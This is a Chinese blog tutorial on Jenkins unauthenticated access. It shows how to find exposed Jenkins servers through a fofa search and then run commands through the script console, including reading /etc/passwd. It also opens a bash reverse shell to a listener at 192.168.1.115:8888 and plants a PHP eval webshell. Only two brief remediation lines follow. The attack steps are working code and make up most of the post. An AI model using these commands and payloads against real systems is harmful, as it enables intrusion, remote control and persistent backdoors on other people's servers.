前言

翻越高山需要迈出一个又一个简单的步伐

一、Jenkins简介

Jenkins是一个独立的、开放源码的自动化服务器,它可以用于自动化与构建、测试、交付或部署软件相关的各种任务。Jenkins是一个CI工具。它可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告

二、Jenkins未授权访问

由于Jenkins默认安装的时候管理员安全意识不高,没有配置密码,所以可以导致任意用户未授权访问到控制页面并且可以对里面的配置进行修改。

正常页面应该是需要输入账号密码的

寻找Jenkins,

使用fofa语法:"Jenkins"来搜索,然后看到jenkins页面的就进去访问,如果访问的是需要账号密码的说明不存在未授权访问,而一点击进去就到达控制页面就说明存在未授权访问了。(可以看上面两图分辨)

搜索引擎:【工作台】Jenkins

三、Jenkin命令执行漏洞

利用Jenkins未授权访问进入控制页面,然后找到“系统管理”

进去之后找到脚本控制

然后就可以输入命令执行代码了

println"ipconfig".execute().text

println"whoami".execute().text

println"cat /etc/passwd".execute().text

看到返回的信息知道,命令执行成功了。

四、Jenkins反弹shell

在控制端(客户机)开启监听端口

nc -lvp 8888

输入命令反弹shell

println'bash -i >& /dev/tcp/192.168.1.115/8888 0>&1'.execute().text

显示成功之后,就可以去查看监听情况了

解释:

这里ip以及端口是kali机(监听IP端)的IP;

/dev/tcp/192.168.1.115/8888是bash 实现的用来实现网络请求的一个接口 ;

bash -i是打开一个交互的bash ;

/dev/tcp不是磁盘里的文件,而是bash的一个功能 ;

shell上:0表示标准输入,1表示标准输出,2表示标准错误输出;

>默认为标准输出重定向,&相当于C语言的寻址符,>&相当于重定向;

反弹shell:bash -i >& /dev/tcp/HOST/PORT 0>&1

如果知道网站的目录的话可直接写shell

new File("WWW\php_shell.php").write('<?php @eval($_POST[hack]);?>');

五、漏洞修复

1. 禁止把Jenkins直接暴露在公网

2. 进行Jenkins登录验证


版权声明:本文为CSDN博主「bk天气」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_49577923/article/details/121265159

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐